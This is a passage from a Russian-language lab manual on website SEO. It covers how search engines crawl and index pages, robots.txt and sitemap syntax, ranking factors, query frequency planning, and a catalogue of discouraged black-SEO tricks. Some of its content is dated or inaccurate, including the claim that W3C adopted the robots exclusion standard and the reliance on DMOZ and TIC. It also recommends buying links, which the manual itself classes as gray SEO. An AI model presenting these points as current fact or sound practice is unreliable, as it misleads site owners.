понять принцип работы поисковых машин. Это позволит проводить работу 

осмысленно и направленно на положительный результат. 

Для проведения состава работ по поисковой оптимизации сайта необходимо 

иметь представление о принципах работы поисковых систем. Современная 

поисковая система является сложным программным комплексом, включающим 

среди прочих: 

-  Spider (паук) - компонент, скачивающий страницы браузера с 

использованием HTTP-запросов, как это делает браузер коечного пользователя. 

Однако, если целью браузера является визуальное представление страницы поль-

зователю, то паук передает скачанную страницу на обработку другим компо-

нентам системы (Crawler-паукам или индексаторам); 

-  Crawler (путешествующий паук) - компонент, обеспечивающий поиск 

новых страниц для скачивания и индексации. Он выделяет все ссылки, при-

сутствующие на скачанной пауком-spider-ом странице. После этого строится план 

дальнейшего сканирования по найденным ссылкам. Таким образом поисковая 

система постоянно обновляет и пополняет список известных ей страниц. 

-  Indexer (индексатор) получает страницу от паука, парсит (разбирает) 

ее на составные части: текст, изображения, видео, ссылки, заголовки, специаль-

ные теги и др. Для анализа индексатор использует оригинальные лексические и 

морфологические алгоритмы. 

-  Database (база данных) или индекс системы выступает как хранилище 

проиндексированных данных. В ней ставится соответствие элемента (слова, 

изображения, видеофрагмента) и Web-ресурсов, на которых он был найден па-

уком. Данные в хранилище заносятся индексатором. 

-  Search Engine Results Engine (система выдачи результатов) работает 

на конечном этапе поискового цикла. Его назначение - ранжированием страниц 

по запросу пользователя. Именно этот компонент формирует поисковую выдачу - 

тот набор ссылок на Web-ресурсы, которые согласно алгоритмам этой конкретной 

поисковой системы в наибольшей степени соответствуют обращению 

пользователя. Для отбора ссылок и их сортировки перед отправкой пользователю 

используются алгоритмы ранжирования (например, Google Pag- eRank или Яндекс 

ТИЦ). Обобщенная схема работы поисковой машины представлена на рис. 1. 

Пауки-Crawler’ ы по указанию пауков-Spider’ов скачивают новые неизвест-

ные страницы с сайта, они анализируются и индексируются, найденные на них 

ссылки служат путями для нового цикла поиска: команда Crawler^ инициирует 

поиск и скачивание, парсинг выделяет содержимое страниц и порожлдает новые 

пути поиска контента и т.д. В найденных пауками страницах анализируется 

содержание и они встраиваются в индекс поисковой системы, хранящийся в 

общей базе. 

Необходимо отметить, что поисковые боты не только ищут новые, ранее 

неизвестные ресурсы, но и периодически переиндексируют ранее посещенные 

страницы. Таким образом достигается актуальное состояние базы данных по-

исковой системы. 



 

 

С учетом того, что оптимизация поисковой выдачи (SEO) ориентируется 

именно на результаты работы системы выдачи поисковой машины, именно 

факторы ранжирования в первую очередь учитываются SEO-специалистом в его 

работе. Однако, нельзя не учитывать особенности работы поисковых ро- ботов-

пауков при оптимизации Web-ресурса. Это позволит как снизить нагрузку на 

Web-сервер при обработке запросов от пауков, так и актуально обновлять индекс 

поисковой машины при обновлении данных на страницах сайта или появлении 

новых страниц на ресурсе. 

Разработчик (владелец) Web-ресурса может управлять процессом 

индексирования своего сайта со стороны поисковых роботов. Для этого 

используются: 

-  метатеги заголовка HTML-документа; 

-  файл robots.txt. 

Файл robots.txt представляет собой текстовый файл в кодировке UTF-8, 

который размещается в корневой директории сайта и может содержать ряд 

инструкций для спайдеров поисковых систем по порядку индексирования данного 

ресурса [1]. Этот файл актуален для протоколов FTP, HTTP, HTTPS. Назначение и 

внутренняя структура файла задекларирована в документе под названием 

«Стандарт исключений для роботов, принятым консорциумом W3C в 1994 года и 

использующимся большинством известных поисковых машин. 

Сессия работы поискового робота с сайтом начинается с загрузки файла 

robots.txt. Если файл HTTP-статус загрузки этого файла будет иметь статус, 

отличный от 200 OK, робот будет считать, что доступ к документам ничем не 

ограничен. Иначе он прочитает строки конфигурационного файла и при ин-

дексировании будет следовать указанным в них инструкциям. Необходимо по-



 

нимать, что инструкции robots.txt носят рекомендательный характер, поисковые 

машины могут их игнорировать. Надежный способ защитить страницы и разделы 

сайта от индексирования поисковыми системами - поместить их в за-

шифрованные разделы сайта. 

Внутренняя структура robots.txt предельно проста: он должен содержать 

одну или несколько записей (records), разделенных одной или несколькими 

пустыми строками. Каждая запись должна содержать строки в форме: 
<field>:<optional_space><value><optional_space> 

Запись должна начинается с одной или нескольких строк User-Agent, за 

которой следуют одна или несколько строк с директивами Allow или Disallow 

Директива User-Agent указывает, к какому роботу обращены последующие 
директивы. При том допускается сформулировать разные правила для различных 
роботов. Ниже приведен пример использования директив User- Agent для 

различных поисковых роботов: 
#  Директивы для всех роботов User-agent: * 
#Обратите внимание на пустую строку после каждого блока User-Agent 

#  Директивы для всех роботов Яндекса User-agent: Yandex 
#  Директивы только основному индексирующему роботу Яндекса 

User-agent: YandexBot 
#  Не забываем про роботов Google User-agent: Googlebot 

Ниже приведен список некоторых популярных роботов, на которые может 

ориентирован файл robots.txt для конфигурирования процесса индексирования: 
- YandexBot — основной поисковый робот Yandex 

-  YandexBlogs — робот поиск по блогам, индексирующий посты и ком-

ментарии; 

-  YandexMarket— робот Яндекс.Маркета; 

-  YandexNews — робот Яндекс.Новостей; 

-  YandexDirect — скачивает информацию о контенте сайтов-партнеров 

Рекламной сети, чтобы уточнить их тематику для подбора релевантной рекламы; 

-  YandexImages — индексатор Яндекс.Картинок; 

-  YandexCalendar — робот Яндекс.Календаря. 

-  YandexMetrika — робот Яндекс.Метрики; 

-  YandexMedia — робот, индексирующий мультимедийные данные; 

-  Googlebot-News — робот Google для поиска новостей; 

-  Mediapartners-Google — робот Google для сервиса AdSense; 

-  Googlebot-Image — робот Google для картинок; 

-  Googlebot-Video — робот Google для видео; 

-  Googlebot-Mobile — робот Google для мобильных версий ресурсов; 

Директива User-Agent только конкретизирует тип робота, для которого 

заданы следующие директивы в блоке. Без дополнительных директив его ис-

пользование бессмысленно. Основными подобными директивами являются, как 

уже было упомянуто выше, Allow и Disallow. 

Disallow —директива, запрещающая индексацию сайта или его части. Что 

именно запрещается сканировать/индексировать, уточняется в параметрах 



 

директивы. 

Вот как, например, можно запретить в robots.txt индексацию сайта кон-

кретным роботом: 
User-agent: Yandex-News Disallow: / 

Можно закрыть от робота (-ов) не весь сайт, а лишь конкретные разделы. 

Закрываем от всех роботов раздел docs сайта: 
User-agent: * 

Disallow: /docs 

Для параметра директивы Disallow допустимо использовать символы- 

шаблонизаторы * и ?. Например, 
User-agent: * 

Disallow: /page* 

запретит сканирование всех , начинающихся с page (/page_old, /page-about, 

/page/news). Знак $ указывает на необходимость точного соответствия: 
User-agent: * 

Disallow: /page$ скроет только папку /page, но откроет доступ к /pagel, 
/page/news и др. 

Если параметр директивы Disallow будет опущен, то это означает 

отсутствие запрещения. 

Директива Allow играет роль альтернативы Disallow — она разрешает 

сканирование тех или иных разделов сайта и имеет синтаксис, аналогичный 

Disallow. Совместное использование двух рассмотренных директив позволяет 

комбинировать права роботов на доступ к тем или иным разделам: 
User-agent: Googlebot 

Disallow: / 

Allow: /docs 

В приведенном примере мы запрещаем сканирование сайта за исключением 

раздела /docs. 

Помимо уже рассмотренных, в файле robots.txt можно использовать еще ряд 

директив. Одна из них - директива Host. Она служит для указания роботу Яндекса 

(и поддерживается на сегодняшний день только этой поисковой системой) 

главного зеркала Вашего сайта.. Директива Host полезна в том случае, если ваш 

сайт доступен по нескольким адресам и вам необходимо установить приоритет 

для одного из них, чтобы именно он выдавался как результат поисковой выдачи. 

Например, для двух доменов mysite.ru и www.mysite.ru необходимо указать 

второй как основной. Тогда в файле robots.txt указываем: 
User-agent: Yandex 

Disallow: /page 

Host: www.mysite.ru 

Еще одна интересная и полезная директива - Sitemap. C ее помощью в 

robots.txt можно указать расположение на сайте файла карты сайта sitemap.xml. 

Указание адреса карты сайта через директиву Sitemap в robots.txt позволяет 

поисковому роботу узнать о наличии карты сайта и начать ее индексацию. 

http://www.mysite.ru/
http://www.mysite.ru/


 

Sitemaps — это XML-файл с информацией для поисковых систем о тех страницах 

веб-сайта, которые подлежат индексации. Sitemaps не только указывают 

поисковика те папки, которые подлежат индексированию, но и хранит 

информацию о времени их последнего обновления, планируемой частоте 

обновления и приоритете относительно других страниц сайта. Вся эта 

информация полезна поисковому роботу для повышения эффективности об-

работки страниц в разделах Web-ресурса. Вот как можно задать местоположения 

карты сайта: 
User-agent: * 

Disallow: /page 

Sitemap: http://www.some.com/sitemap.xml 

Внутренняя структура Sitemaps документирована (см [2]), упрощенный 

вариант подобного файла выглядит следующим образом: 
<?xml version="1.0" encoding="UTF-8"?> 

<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"> 

<url> 

<loc>http://www.some.com/</loc> 

<l a s tmo d >2015-01-01</lastmod> <changefreq>monthly</changefreq> 

<p r i o r i t y>0.8</priority> 

</url> 

</urlset> 

Файл robots.txt - не единственная возможность управления процессом 

индексацию страницы. Для этих же целей можно воспользоваться специали-

зированными html-тегами. В заголовке html-документа можно поместить теги 

meta со следующими атрибутами: 

<meta name= "robots" content= "noindex"/> — не индексировать со-

держимое страницы; 

<meta name= "robots" content= "nofollow"/> — не переходить по 

ссылкам на странице; 

<meta name= "robots" content= "none"/> — запрещено индексировать 
содержимое и переходить по ссылкам на странице; 

<meta name= "robots" content= "noindex, nofollow"/> — аналогично 

content= "none". 

<meta name="Revisit-After" content=”1 Days"> - приглашаем поискового 

робота заходить на сайт с частотой 1 раз в день, поскольку именно с этой 

периодичностью на нем обновляется контент. 

Описанные инструменты позволяют конфигурировать процесс индексации 

поисковыми роботами содержимого сайта. Однако, главной целью SEO- 

оптимизации является продвижение страниц сайта на этапе ранжирования по 

запросу, когда поисковая система формирует список выдачи на сформулиро-

http://www.some.com/sitemap.xml
http://www.sitemaps.org/schemas/sitemap/0.9
http://www.some.com/%3c/loc


 

ванный пользователем запрос. По результатам исследований [3] до 80% поль-

зователей поисковых систем всегда или часто переходят по ссылкам, выдаваемым 

поисковой системой как наиболее подходящие поисковому запросу. Алгоритмы 

ранжирования современных поисковых систем являются сложными 

многокритериальными, динамически изменяющимися моделями, учитывающими 

сотни статистических показателей работы ресурса. Разработчики поисковых 

систем должны отслеживать частоту обновления информации на ресурсе, его 

популярность у посетителей, авторитетность сайта у других ресурсов, попытки 

владельцев ресурсов обманным путем искусственно повысить ранг своего сайта. 

При этом базовые принципы ранжирования web-ресурсов при поисковой выдаче 

известны, они опираются на ряд факторов ранжирования. В связи с этим 

необходимо знать эти факторы и учитывать их как в процессе разработки web-

сайта, так и при его продвижении. Общее количество факторов весьма велико 

(более 700 у Яндекс), поэтому рассмотреть их все не представляется возможным, 

заострим внимание на некоторых из них. Факторы ранжирования делятся на 

группы: 

1. Внутренние факторы. 

В эту группу входят факторы, которые определяют разработчики/владельцы 

ресурса путем его внутреннего структурирования и наполнения. Основными здесь 

можно назвать: 

-  качество контента сайта, определяемого по его актуальности, ориги-

нальности, релевантности, «тошностности». Некоторые из этих характеристик не 

требуют особых пояснений - если информация на ресурсе актуальна, регулярно 

обновляется, не является копией контента с других сайтов, то такой ресурс будет 

иметь больший вес по алгоритмам ранжирования, привлекать внимание как 

посетителей, так и владельцев других ресурсов и, в конечном итоге, этот ресурс 

будет расти в позициях поисковой выдачи. Другие характеристики вступают во 

взаимный конфликт. Так, например, показатель релевантности учитывает процент 

вхождения слов поискового запроса в контенте сайта: чем он выше, тем более 

релевантны страницы сайта запросу. Однако, поисковики вводят термин 

«тошнотности» страниц сайта, которая определяется как перегруженность текста 

целевыми ключевыми словами. Зачастую SEO- оптимизаторы перенасыщают 

страницы сайта, которые хотят поднять в поисковой выдаче, ключевыми словами 

тематике, которой посвящен ресурс. В этом случае читать человеку подобный 

текст становится неинтересно, от обилия целевых ключевых слов читателя 

начинает «тошнить». Показатель классической тошноты - это квадратный корень 

из числа, обозначающего частоту употребления слова в тексте. Если вы 

используете слово на странице 25 раз, то его классическая тошнота будет равна 5 

вне зависимости от объема текста. При этом показатель классической тошноты не 

может быть меньше 2,64: если слово использовано в тексте менее 7 раз, корень 

квадратный в этом случае извлекается из числа 7. 

Очевидно, что релевантность и тошнота - показатели-антиподы, выигрывая 

в одном мы проигрываем в другом и достижение их разумного баланса будет 

свидетельствовать о квалификации SEO-специалиста. На сегодня принято 

считать, что показатель частоты встречаемости ключевого слова в тексте в 3.5-5% 

является оптимальным. 

Для того чтобы выше по рангу оказывались ресурсы с понятным и при-

ятным для прочтения тестом поисковые системы постоянно усложняют свои 



 

алгоритмы ранжирования, отдавая предпочтения тем страницам, где исполь-

зуются синонимы ключевых слов, семантически связанные конструкции. Так, 

например, Google сегодня использует при ранжировании такой фактор как ла-

тентно-семантический индекс ключевых слов в контенте (LSI), который позволяет 

поисковикам бороться с ситуациями перегруженности контента одними и теми же 

ключевыми словами, которые говорят либо о неумелом насыщении ключевиками 

при формировании контента, либо о плохом качестве текста, что тоже должно 

отталкивать посетителей; 

Повышает ранг сайта (страницы) также частое обновление контента, 

наличие мультимедийных материалов, наличие дополнительных полезных 

виджетов и сервисов. 

-  соответствие заголовка сайта (тег title), его описания (метатег descrip-
tion), ключевых слов (метатег keywords) основному содержимому страницы; 

-  насыщение целевыми ключевыми словами значимых элементов 
страницы. Релевантность страницы запросу будет выше, если ключевые слова 
запроса будет встречаться в таких областях страницы, как заголовок (тег title), 
описание (метатег description), ключевые слова (метатег keywords), заголовка в 
тексте страницы (теги h1-h6), текст с полужирным начертанием, атрибуты alt в 
изображениях; 

-  грамотная внутренняя структура сайта: если на сайте эффективно 

организована система навигации по страницам, то это также повысит его ранг. 

Если представить структуру сайта в виде дерева, то его последний уровень 

(листья), которые обычно представляют собой статьи, не должны находиться 

слишком глубоко (3-4 клика от главной страницы). Здесь также учитываются 

анкорный текст - содержимое тега а со ссылкой на другую страницу сайта должно 

содержать ключевые слова адресуемой страницы. Для поднятия ранга отдельных 

страниц и сайта в целом может понадобиться внутренняя пере- линковка (см. 

далее); 

-  вид используемых URL. Если страницы имеют постоянные уникаль-

ные адреса, то лучше использовать ЧПУ (Человеко-Понятный-URL): 
shop.ru?cat=50&firm=30&good=1345 

хуже чем 
shop.ru/notebook/asus 

Базовый принцип - в строке адреса желательно иметь 2-3 ключевых слова 

(возможно - в транслите). 

-  возраст и качество домена. Данная группа факторов учитывает, как 

давно существует домен, как часто у него менялся владелец, своевременно ли 

продлялся домен. Наличие точного совпадения доменного имени с ключевым 

словом также учитывается и повышает ранг. 

-  скорость загрузки и наличие ошибок на сайте может косвенно по-

низить ранг вашего ресурса; 

-  количество и качество внешних ссылок на сайте. Ранее считалось, что 

внешние ссылки снижают ранг сайта, поскольку отдают часть его веса сторонним 

ресурсам. Однако сегодня разработчики поисковых систем поощряют наличие 

ссылок на авторитетные и тематически связанные ресурсы, считая, что подобная 

связь между ресурсами свидетельствует о семантический близости ресурсов и 

осмысленности формирования контента; 



 

2. Внешние факторы. 

Данная группа факторов зависит от отношения сторонних ресурсов к ва-

шему и потому менее доступна к непосредственной модификации. Факторами 

этой группы являются: 

-  количество и качество внешних ссылок на сайт. Наличие ссылок на 

страницы продвигаемого ресурса с других (желательно близких по тематике 

сайтов) является важным фактором ранжирования для современных поисковых 

систем. При этом алгоритм ранжирования учитывает не только количество, но и 

качество внешних ссылок. Для этого разработаны специальные алгоритмы 

ранжирования (PageRank у Google или ТИЦ у ЯПЙЄХ). Согласно этим алгоритмам, 

посредством ссылки сайт-донор передает сайту - акцептору часть своего веса, 

авторитета и у поисковой системы. Чем больше ТИЦ или PR у сайта-донора 

ссылки, тем больше вес этой ссылки, и тем больше данная ссылка принесет 

пользы сайту-акцептору. 

На ранжирование влияет не только удельный вес внешних ссылок по ТИЦ 

или PageRank, но и релевантность их анкорных текстов, чтобы тематика сайта 

совпадала по ключевым словам с текстом ссылки. Продвигая сайт за счет 

наращивания внешней ссылочной массы, можно следовать различным 

стратегиям: либо стремиться к увеличению любых ссылок, либо получить не-

сколько высокоавторитетных ссылок на сайт. Так, разместив на сайте-доноре с 

ТИЦ 1000 статьи по тематике продвигаемого сайта и указав там пару ссылок на 

продвигаемый сайт, можно получить больший эффект в увеличении ранга сайта, 

чем при размещении ста ссылок на низкоавторитетных ссылок (на сайтах-донорах 

с ТИЦ<50). 

При анализе внешних ссылок учитываются также такие факторы как: 

возраст домена-донора ссылки, наличие ссылок с сайтов-конкурентов (соседей по 

результатам поисковой выдаче), анкорный текст внешних ссылок. 

-  упоминание сайта и ссылки на него в социальных сетях. Трудно пе-

реоценить роль социальных сетей в современном глобальном информационном 

пространстве и поисковые системы отслеживают посты, комментарии, отзывы в 

социальных сетях на предмет наличия в них упоминаний ссылок на те или иные 

страницы. наличие подобных ссылок идет в плюс рангу страницы и на этом 

строятся целые стратегии продвижения. 

-  присутствие сайта в тематических каталогах поисковых систем 

(таких как Яndex-Каталог, DMOZ, Rambler-Top100 и др.) повышает его позиции в 

итоговой выдаче. 

3. Поведенческие факторы. 

Данная группа факторов иллюстрирует, как ведут себя пользователи на 

страницах ресурсов и являются косвенными показателями его удовлетворенности 

от информации, предлагаемой на ресурсе. Показатели этой группы: 

-  среднее время, проведенное посетителем на сайте. Поисковые си-

стемы засекают время, которое посетители проводят на сайте после перехода со 

страницы поисковой выдачи. Чем выше этот показатель, тем белее релевантным 

ожиданиям пользователя считается сайт, что повышает его ранг в системе; 

-  показатель отказов подсчитывает, сколько раз пользователь сразу (не 

позже 15 секунд после перехода на сайт) покидает ресурс. Отказ означает 

априорное несоответствие контента ресурса ожиданиям клиента и снижает 

рейтинг сайта для поисковика; 



 

-  повторное посещение сайта учитывает тот факт, что посетитель впо-

следствии повторно заходит на сайт, что означает для поисковой системы про-

явление интереса к контенту в контексте поискового запроса. Прочими свиде-

телями интереса пользователя к ресурсу могут стать занесение его адреса в 

закладки, дальнейшее использование прямой ссылки на ресурс в адресной строке. 

-  количество комментариев на сайте также является косвенным кри-

терием интереса посетителей и дать поисковой систем повод повысить его ранг. 
Для мониторинга поведенческих факторов поисковые системы используют: 
Специализированные сервисы (Яндекс.Метрика , Google.Analytics, рис.2); 
Встроенные функции браузеров; 

Браузерные плагины; 

 

Рисунок 2 - Статистика сайта в окне Яндекс.Метрика. 

Узнав особенности работы поисковых систем, можно начинать работу по 

SEO-оптимизации сайта. Прежде всего необходимо определиться с ключевыми 

словами в запросах пользователей, по которым вы хотели бы, чтобы ваш ресурс 

оказывался как можно выше в поисковой выдаче, чтобы насытить ими важные 

элементы структуры сайта. Помимо непосредственно ключевых слов, необходимо 

понимать контекст поиска информации со стороны клиенты, которому вы хотели 

бы, чтобы ваш ресурс в наибольшей степени соответствовал. На сегодня 

выделяют несколько типов поисковых запросов: 

1.  Навигационные запросы осуществляются с целью попасть на 

конкретный сайт. В этом случае поисковый движок выполняет функцию теле-

фонного справочника для пользователя, интересующегося конкретной компанией, 

персоной, событием. Такого типа запросы очень эффективны для владельца сайта, 

поскольку клиента интересует именно этот бренд, но они не очень хорошо 

ориентированы на новых клиентов. Для владельцев сторонних ресурсов 

ориентация на подобные запросы интересна для маркетинговых исследований, а 

также для отвлечения трафика от конкурента. Примеры навигационных запросов: 

«Ближайший банкомат банка XXX», «Зарегистрироваться на рейс авиакомпании 

YYY», «Купить абонемент в фитнесцентр ZZZ». 

2.  Информационные запросы говорят об интересе пользователя к 

определенной тематике, но не обещают дальнейших транзакций. С учетом того, 

что интернет на сегодня для многих людей заменяет книги и энциклопедии, 

информационные запросы очень часто служат для удовлетворения любопытства 



 

или освежения в памяти подзабытых сведений. Примерами таких запросов могут 

быть: «Столица Бангладеш», «Кто исполнил главную роль в сериале ...», “Годы 

жизни Ф.М. Достоевского”. Несмотря на то, что подобные запросы не сулят 

сиюминутные выгоде в продаже или услуге, ориентация на них тоже может быть 

полезна, поскольку они позволяют привлечь посетителей на сайт, привлечь 

входящие ссылки, в долгосрочной перспективе могут привести к транзакциям: 

если вы создаете сайт книжного магазина, то запрос о годах жизни писателя 

можно привязать к информации о продаже книг его авторства. 

3. Т ранзакционные запросы говорят об интересе пользователя в какой-то 

услуге или товаре - он уже знает, что хочет, но не знает, где это сможет 

приобрести. Транзакционные запросы наиболее интересны для SEO- 

продвижения, поскольку их проще всего связать с услугой или товаром, пред-

ставленном на сайте. Примерами подобных запросов могут быть: «Где купить 

пиццу в городе ....», «Стоимость тура в Египет», «Продажа смартфонов». 

Выше были перечислены основные типы запросов, но ими классификация 

не ограничивается. Запросы бывают также мультимедийными, геозависи- мыми, 

нечеткими, адаптивными. Подробнее о поисковых запросах можно прочитать в 

[4]. 

По частоте использования запросы делятся на: 

1. Высокочастотные (более 5 000 показов в месяц). Подобные запросы 

обычно носят общий характер, не уточняют намерения посетителя. Например, по 

запросу «автомобиль» (почти 9 млн. просмотров в месяц по данным 

wordstat.yandex.ru) непонятно, хочет ли ищущий узнать устройство автомобиля, 

приобрести или продать его, ознакомится с историей автомобилестроения. В 

связи с этим продвижение по подобным запросам весьма затруднено, он 

используется большим количеством компаний. Брать высокочастотные запросы в 

семантическое ядро сайта имеет смысл лишь для продвижения компании, вывода 

новой услуги (товара) на рынок. 

2. Среднечастотные (от 1500 до 5000 показов в месяц). В таких запросах 

посетитель уточняет свой интерес, запрос становится более конкретным, сужается 

и его конкурентность. Например, запрос «прокат легкового автомобиля» дает 

статистику уже в 2000 показов в месяц, такой запрос отсекает компании, 

занимающиеся ремонтом, продажей, страхованием автомобиля. Но все равно 

запрос довольно популярен и подвинуть компании, давно занимающиеся этим 

видом деятельности, будет непросто. 

3. Низкочастотные (до 1500 показов в месяц). Ориентируясь на такие 

типы запросов, вы точно найдете своего клиента, он ищет именно то, о чем 

написано на вашем ресурсе. Здесь высока вероятность конверсии запроса. Однако 

подобные запросы не позволяют привлекать пользователей, не обладающих еще 

сложившимся представлением о желаемом товаре (услуге). Пример 

низкочастотного запроса: «почасовой прокат автомобиля» - менее 100 показов в 

месяц. Если сайт рекламирует среди прочего эту услугу, то использование этих 

ключевых слов позволит вывести сайт в топ выдаче по указанному запросу. 

Ориентация на каждый из перечисленных выше типов запросов имеет свои 

задачи в продвижении, и опытные SEO-специалисты рекомендуют компоновать 

поисковые запросы следующим образом: 

•  ВЧ-запросы: 10-15% от общего числа поисковых запросов, по кото-

рым продвигается сайт, 



 

•  СЧ-запросы: 20-40% от общего числа запросов, 

•  НЧ-запросы: 45-70% от общего числа запросов. 

За счет ВЧ-запросов можно охватывать общий спрос тематики ресурса, СЧ-

запросы будут привлекать посетителей, интересующихся более конкретными 

направлениями, представленными на сайте, а за счет ВЧ-запросов можно 

приводить целевую аудиторию, уже готовую к покупке именно ваших 

товаров/услуг. 

Определить частотность запросов помогают специализированные сервисы и 

программы. Одним из самых популярных инструментов (и при этом бесплатным) 

здесь является сервис «Подбор слов» от Яндекс (wordstat.yandex.ru) 

 

Рисунок 3 - Сервис «Подбор слов» от Яндекс. 

Данный сервис позволяет оценить частоту того или иного запроса за 

последний месяц, а также подобрать схожие по тематике запросы. При этом 

можно получать статистику с региональным фильтром, а также учитывать типы 

устройств, с которых были поданы запросы. Аналогичные сервисы есть и у 

Google: Google AdWords (https://adwords.google.com/) и Google-тренды 

(https://trends.google.com/trends). 

Еще одной важной характеристикой запроса является его конкурентность. 

Этот показатель можно оценить по количеству строк в поисковой выдаче, 

который выдает поисковый движок в ответ на запрос. Фактически, этот 

показатель определяет, насколько ключевые слова из этого запроса представлены 

на страницах ресурсов-конкурентов. Найти высокочастотный, но 

низкоконкурентный запрос, сориентировать на него SEO-продвижение и быстро 

выйти к вершинам выдачи - мечта любого SEO-специалиста. 

Рассмотрим алгоритм SEO-оптимизации web-ресурса для повышения его 

позиций в поисковой выдаче. 

1. Подобрать семантическое ядро. На этом этапе необходимо 

проанализировать тематику ресурса, определить те ключевые слова, по которым 

вы хотели бы, чтобы ваш сайт появлялся как можно выше в выдаче поисковых 

движков. Выбранные ключевые слова необходимо проверить на частотность и 

https://adwords.google.com/
https://trends.google.com/trends


 

конкурентность с использованием уже упоминавшихся инструментов «Подбор 

слов» от Яндекс и Google-тренды. Для каждого выбранного запроса можно 

подобрать похожие запросы, оценить их частотность и остановиться на 

пропорциях 10-15% ВЧ, 20-40% СЧ, 45-70% НЧ. 

2. Выбор страниц для продвижения сайта, которые в дальнейшем 

планируется насыщать ключевыми словами, внутренними и внешними ссылками. 

На этом этапе можно выполнить кластеризацию запросов, выделив отдельные 

группы ключевых слов и связав те или иные страницы с отдельной группой 

ключей, оптимизировать их для обеспечения релевантности по этой группе. 

3. SEO-копирайтинг. Этот этап заключается в написании текстового 

контента, в котором процент вхождения слов из семантического ядра обеспе-

чивает релевантность целевым запросам и при этом не перегружен ключевыми 

словами [5]. Проверить качество текста можно различными сервисами, например, 

https://text.ru/seo, https://istio.com или https://advego.ru/text/seo. 

4. Проведение технического аудита (анализа) сайта. На данном этапе 

проверяется корректность html-разметки, наличие и правильность файлов ro-

bots.txt и sitemap.xml, выявляются ошибки с кодом 404, битые ссылки, дубли-

рование контента, проверяется корректность работы навигации, правильность 

функционирования отдельных блоков, анализируется скорость работы сервера. 

Периодически полезно возвращаться к данному шагу, так как изменения, 

вносимые в структуру, код или контент сайт могут отрицательно сказаться на его 

технических параметрах. 

5.  SЕО-оптимизация интернет-страниц под поисковые запросы. На этом 

этапе внедряются ключевые слова в значимые для продвижения позиции и 

структурные элементы ресурса (теги и метатеги title, description, keywords, 

заголовки h1-h6), внедрение ЧПУ-адресации для страниц сайта, выполняется 

внутренняя перелинковка сайта. Перелинковкой сайта обеспечивает связывание 

страниц одного сайта или разных ресурсов гиперссылками. Она применяется для 

повышения релевантности страниц сайта запросу в поисковых системах, 

увеличения статического веса страниц за счет количества входящих ссылок на 

страницу, ускорения индексации вновь появившихся страниц сайта за счет 

перехода робота по ссылкам на новые страницы, предотвращения дублирования 

контента, улучшения юзабилити сайта за счет большей связности страниц. Если 

связывание осуществляется между страницами одного ресурса, то имеет место 

внутренняя перелинковка, если ссылки ведут на сторонние ресурсы - 

перелинковка будет внешней. Постраничная перелинковка (каждая страница 

ссылается на все остальные) подходит для низкочастотных запросов (редко 

используемых) и среднечастотных. Она позволяет оптимально распределить вес 

сайта - рассредоточить его в нужных пропорциях и на нужных страницах. 

Иерархическая перелинковка (главная страница ссылается на страницы разделов 

или категорий, а уже те ведут на конкретные статьи) приводит к тому, что 

конечные узлы-страницы дерева иерархий ссылок получают очень малый вес и 

плохо продвигаются. При проведении внутренней перелинковки важно наполнить 

продвигаемую по определенной группе запросов страницу входящими ссылками с 

других страниц сайта, причем тексты ссылок должны быть релевантны запросу, 

то есть содержать анкорный текст со словами из запроса. Если в качестве ссылки 

используется изображение, ключевиками имеет смысл наполнить атрибут alt, в 

https://text.ru/seo
https://istio.com/
https://advego.ru/text/seo


 

соответствии с алгоритмами ранжирования поисковых систем лучше 

организовывать ссылки со страниц, отвечающих за НЧ запросы (которые сами по 

себе должны получить высокий ранг при правильном контентном наполнении), на 

страницы с ВЧ и СЧ страницами, увеличивая тем самым их ранг. 

6.  Внешняя SEO-оптимизация ресурса. Для ее проведения необходимо 

провести внешнюю перелинковку сайта, обеспечить его продвигаемые страницы 

качественными входящими ссылками путем закупки ссылок на бирже, 

баннерообмену, продвижению в социальных сетях, на форумах и блогах. 

Необходимо зарегистрировать ресурс в каталогах поисковых систем (таких как 

Яндекс-Каталог, DMOZ, Rambler-Top100 и др.). Не стоит сильно увлекаться 

закупкой ссылок и следить за качеством сайтов-доноров, иначе внешние ссылки 

могут сыграть в минус общему рангу сайта. 

7.  Улучшение юзабилити сайта. Такие общие для разработки web- 

ресурса пожелания, как обеспечение кроссбраузерности, эффективности ис-

пользования ресурсов, работоспособности функционала, удобства навигация, 

приятного дизайна косвенно скажутся и на поисковом продвижении (хотя бы 

через поведенческие факторы ранжирования). 

Рассмотренный алгоритм использует лишь самые базовые подходы к SEO-

оптимизации сайта, профессионалы оперируют гораздо более мощными 

инструментами и методиками. Однако, выполнив даже эти шаги, можно добиться 

роста позиций сайта в выдаче поисковый систем. К тому же это будут реальные 

шаги в этом перспективном на рынке труда направлении, они позволят 

сформировать фундамент будущих опытов и открытий в области поискового 

продвижения web-ресурсов. 

В процессе освоения SEO-методик начинающие сталкиваются с соблазнами 

использования черного и серого SEO - ряда методик и приемов, которые кажутся 

перспективными и на каком-то этапе даже являются эффективными в результатах 

продвижении, но по сути совей являющимися попыткой обмануть поисковый 

движок и искусственно увеличить вес своего ресурса. Разработчики поисковых 

систем борются с подобными методами и накладывают санкции на сайты, 

замеченные в нечестном продвижении вплоть до исключения из индекса. К 

черному SEO относят: 

-  использование скрытого текста (цвет шрифта и фона текста 

совпадают, текст расположен в блоке, который весь или частично невидим, 

используется очень малый шрифт); 

-  поисковым роботам и посетителям сайта демонстрируются 

различные версии ресурса (клоакинг); 

-  автоматическая регистрация (прогон) по множеству каталогов; 

-  автоматическая генерация текстов, автоматический обмен ссылками; 

-  осуществлять спам; 

-  создание дорвеев - небольших сайтов, наполненных бессмысленным 

контентом с высокой плотностью ВЧ- и СЧ-запросов и последующее перена-

правление трафика с него на реальный ресурс; 

-  создание сети сателлитов - групп связанных web-серверов, которые 

совместно продвигают один целевой ресурс. 

Серое SEO занимает промежуточное место между полностью разрешенным 

белым и запрещенным черным. К серому SEO-относится в том числе закупка 



 

внешних ссылок, которая не приветствуется поисковыми машинами, но без 

которой на практике, с учетом ее повсеместного использования, очень за-

труднительно будет обойти конкурентов. Практически все меры внешнего SEO-

продвижения можно, когда репутацию своему сайту в виде статей, ссылок, 

отзывов, владельцы инициируют сами, можно отнести к серому SEO, раз-

работчики поисковых движков стараются пресекать подобные методы накру-

чивания рейтинга и их использование должно быть умеренным. 
Порядок выполнения работы. 

Основная задача лабораторной работы - провести SEO-оптимизацию web-

сайта, разработанного в рамках предыдущих лабораторных работ. С учетом 

учебного характера разработанного ресурса необходимо сосредоточиться на 

внутренних факторах. Для этого необходимо выполнить следующие шаги: 

1. Выбрать семантическое ядро сайта. С использованием одного из 

специализированных сервисов (например, «Подбор слов» от Яндекс) выбрать 

